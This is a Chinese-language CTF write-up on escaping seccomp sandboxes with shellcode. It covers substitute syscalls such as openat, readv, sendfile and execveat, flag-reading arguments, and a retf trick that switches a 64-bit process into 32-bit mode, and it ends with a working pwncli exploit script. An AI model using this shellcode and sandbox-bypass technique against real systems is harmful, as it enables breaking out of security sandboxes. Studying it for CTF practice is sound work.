shellcode突破沙箱机制整理
当程序采用sandbox
机制时, 有部分函数无法使用, 因此我们需要用特殊的方法来获取flag
常用函数调用链
open + read + write
(最常用的ORW)
open + sendfile
open + mmap + write
…
使用 at/v/2/少见的 系统调用
- 使用
execveat
代替execve
,拿到shell
后,使用shell
内置命令读取flag
:echo *; read FLAG < /flag;echo $FLAG
,否则使用子shell
执行命令还是会被沙箱杀死 - 使用
openat
代替open
。 - 使用
readv/writev
代替read/write
- 使用
mmap2
代替mmap
- 使用少见的系统调用, 如
sendfile
read / readv 参数设置
1ssize_t read(int fd, void *buf, size_t count);2ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
write / writev 参数设置
1ssize_t write(int fd, const void *buf, size_t count);2ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
open / openat 参数设置
1int open(const char *pathname, int flags, mode_t mode);2int openat(int dirfd, const char *pathname, int flags, mode_t mode);
execve / execveat 参数设置
1int execve(const char *pathname, char *const argv[], char *const envp[]);2int execveat(int dirfd, const char *pathname, char *const argv[], char *const envp[], int flags);
mmap / mmap2 参数设置
1void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);2void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t offset / 4096);
其它
1ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
在实际使用中, 我们常设置以下函数具体参数
1execve("/bin/sh",0,0)2execveat(-100,"/bin/sh",0,0,0)
1open("/flag",0)2openat(-100,"/flag",0)
1read(3,读入地址,0x1000)2readv(3,伪造的iov地址,1)3// iov.iov_base = 读入地址;4// iov.iov_len = 0x1000;
1write(1,输出地址,0x1000)2writev(1,伪造的iov地址,1)3// iov.iov_base = 输出地址;4// iov.iov_len = 0x1000;
1mmap(映射地址,0x1000,3,0x2,3,0)2// 从/flag映射到地址中,prot设置为3意为可读可写,flag设置为0x23mmap(映射地址,0x1000,7,0x22,-1,0)4// 设置映射地址为可读可写可执行
1sendfile(1,3,0,0x1000)
切换指令模式
由于amd64
兼容于i386
, 因此若64位程序开启了沙箱, 禁用了能利用的函数, 且不对架构做检测, 我们可以尝试设置程序为32位, 然后打32位shellcode
直接打shellcode
就能出, 但是存在沙箱, 沙箱未检测架构
决定了是哪种工作模式的是cs寄存器**(cs=0x23 则为32位工作模式,cs=0x33 则为64位工作模式)**, 我们可以用retf
指令来控制cs寄存器
retf
这个指令是相当于pop eip; pop cs
因此在shellcode
利用retf
指令前, 应该在栈中设置好eip
和cs
, 由于这两个寄存器都是4字节的, 因此两个值只需要占用一个栈地址
因此我们先mmap
出一个区域可以注入32位shellcode
(地址存储到eip
中). 随后调用read
输入32位shellcode
随后调用retf
, 控制cs
和rip
, 需要注意的是, 六字节的栈地址在32位工作模式下无法识别, 因此要同步迁移esp
到这个区域
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
26 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda msb: u64(ru(msb)[-6:].ljust(8,b'\x00'))18
19shell1 = asm('''20 mov rdi,0x1000000021 mov rsi,0x1000022 mov rdx,723 mov r10,0x2124 mov rax,925 syscall26
27 mov rdi,028 mov rsi,0x1000000029 mov rdx,0x100030 mov rax,031 syscall32
33 mov rdi,0x000000231000000034 push rdi35''') + b"\xcb"36s(shell1)37pause()38shell2 = asm('mov rsp,0x10001000')+ShellcodeMall.i386.cat_flag39s(shell2)40
41ia()
\xcb
就是retf
, retf
后eip
被设置为0x10000000, cs
被设置为0x23